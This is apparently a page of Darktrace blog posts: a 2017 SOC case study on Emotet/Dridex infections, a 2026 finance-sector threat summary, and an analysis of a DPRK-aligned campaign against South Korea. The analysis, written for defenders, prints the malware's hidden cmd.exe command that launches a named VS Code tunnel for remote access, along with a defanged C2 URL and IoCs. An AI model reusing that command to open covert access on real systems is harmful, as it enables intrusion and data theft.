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December 7, 2017

Darktrace: Investigating Widespread Trojan Infections

Discover how Darktrace expedites the investigation of widespread Trojan infections, enhancing cybersecurity and response times.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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07
Dec 2017

This blog post outlines how Darktrace helps security operations centre (SOC) teams become more efficient by drastically cutting down the time needed to investigate incidents. This is illustrated by an example encountered in a recent Proof of Value where over 350 client devices had been infected by a stealthy banking trojan.

Identifying and investigating a compromise of this size would usually take a SOC team several hours if not days using disparate traditional security tools. Employing Darktrace, the most important questions were answered within 90 minutes. The main reason for this is that Darktrace provides full visibility and context into network activity for all devices monitored on a single, unified platform.

Alert fatigue & the cyber security skill gap

Getting cyber security right is difficult and time-consuming. Complexity is one of the main challenges the cyber security community is facing. These days, networks are only vaguely defined with digital supply chains, outsourcing, the push into the cloud and the advent of micro-virtualisation like Docker. The amount of data stored, devices connected to internal networks, connections made by devices and the heterogeneity in IT adds to this complexity. Managing it is difficult at best and securing it with traditional tools can be a daunting task.

Our industry is struggling with what has been labelled the ‘cyber security skill gap’. The demand for skilled, experienced security practitioners consistently outstrips supply. SOC teams struggle to find the right people for the job and to keep their analysts motivated in the face of a rapidly evolving threat landscape. Alert fatigue and burnout are common symptoms for SOC analysts working long hours and graveyard shifts.

Investigation methodology

Any incident responder will always begin by asking some high-level questions concerning the incident under investigation – regardless of it being an adware infection, a banking trojan, ransomware, an active intrusion or any other form of cyber security incident.

The most important questions usually are:

  • How did the infection occur? (To prevent the same initial infection vector in the future)
  • What behavior is the infected device exhibiting? (To understand the threat and the risk of the infection)
  • What Indicators of Compromise (IoC) are seen? (To update other security tools and to use for further investigation)
  • Are other devices infected as well? (To assess the extent of the infection)

We did a recent Proof of Value with an IT service provider in EMEA. Darktrace entered an environment which had already succumbed to a widespread compromise – over 350 client devices had been infected with banking trojans. Let’s walk through how we identified, triaged and investigated this infection using Darktrace.

Identifying the incident

Darktrace came into the environment after the initial infection had taken place already. Darktrace instantly identified several devices exhibiting unexpected HTTP beaconing to unusual, rare external IP addresses. The devices made HTTP POST requests without prior GET requests along other suspicious behavior. Darktrace created several high-severity alerts for this, e.g. ‘Compromise / Suspicious HTTP Beacons to Dotted Quad’ and ‘Compromise / Possible Malware HTTP Comms’:

Figure 1: Example Darktrace alert.

Triaging the incident

Darktrace then provides context around this alert - e.g. the external IP the beaconing was made to, the internal device including the associated user, and the suspicious behavior:

Figure 2: Detection context and C2 IP.

A quick investigation of the external IP reveals that it is a recently discovered command and control (C2) IP address for the Dridex banking trojan.

Drilling deeper into this, Darktrace provides PCAPs for every connection seen. A PCAP for the C2 connection above confirms this incident as active, successful, encoded beaconing to a malicious C2 IP:

Figure 3: PCAP and encoded HTTP POSTs.

Investigating the incident

At this stage, we want to further examine the behavior of the infected device around the time of the incident. Darktrace provides full visibility into past activity, including all network connection made by any device - regardless of whether the incident occurred on the device or not.

We attend to all external connections made by the infected device around the time of the incident and immediately identify more suspicious C2 communication:

Figure 4: More device behavior; further C2 IPs.

By now we have identified 6 different C2 IP addresses.

We can use Darktrace’s ‘External Sites Summary’ to view all devices that have connected to a specific IP or domain in the recent past. Doing this for the initial C2 IP yields the following result (excerpt):

Figure 5: External Sites Summary; further infections.

We immediately identify 5 additional devices that made successful connections to the C2 IP address. In fact, the list above is abridged as we actually saw over 350 devices connecting to this and other C2 IP addresses. Notably, all observed devices appear to have a similar naming structure - this will become important in the next part of the analysis.

At this point we have answered all but the first question: ‘How did the infection occur?’

Darktrace started monitoring the network after the initial infection occurred and spread. Further research into the C2 IP addresses shows that they are associated with the Emotet trojan. This sophisticated malware often precedes banking trojan (e.g. Dridex) infections and is spread via phishing. We can thus assume that phishing was a likely initial infection vector.

How then did the infection manage to spread to so many devices?

Surely not all users clicked on suspicious phishing emails? Recent versions of Emotet have limited lateral movement capabilities. They mainly propagate via SMB brute forcing - trying administrative accounts and hard-coded password lists. The naming convention on the infected devices is very similar - this could indicate a similar build-process and setup of the devices. If a vulnerability - such as an administrative account with a weak password - existed on one of the devices, it might be present in all of the devices with a similar build.

Using Darktrace, the security team has now a solid understanding of the nature and size of the infection, the IoCs available to update firewalls and other preventive security controls and outstanding remediation-activities.

What would this investigation look like with traditional tools, not using Darktrace?

Detecting these covert banking trojans in the first place, let alone triaging them fully, can be a difficult challenge in itself. Current banking Trojan strains such as Dridex, Fedeo or Vawtrak keep updating the malware with new C2 addresses to avoid blacklisting. Initial detection could be at any stage of the attack lifecycle – likely it will be in the latter stages though, when considerable damage has already been done.

An analyst will have to log into various security devices to get close to the same level of visibility provided in Darktrace – web proxy logs, anti-virus logs, running PCAPs on infected hosts, SIEM logs. Having to switch between all those disparate security tools is not time-efficient and produces a fragmentary picture of what actually transpired.

Conclusion

A working hypothesis is that a single device was initially infected via phishing, allowing Emotet to spread to over 350 internal devices via SMB brute forcing. It took no longer than 90 minutes to come from an initial detection of the incident to this conclusion, which forms the basis for an actionable report.

The last thing a SOC needs is yet another tool producing a profusion of alerts. Using Darktrace’s machine learning and unrivalled network visibility, you can focus on the small set of relevant alerts and rapidly investigate those incidents according to their severity and priority.

Darktrace can reduce costs even if you bring in a third-party incident response team. You will be able to significantly speed up their ongoing investigation if they have access to Darktrace. Third-party incident response teams are expensive – their daily rates ranging between £2,000 and £3,000 per day. Cutting their work down from days to hours will result in cost and efforts saved.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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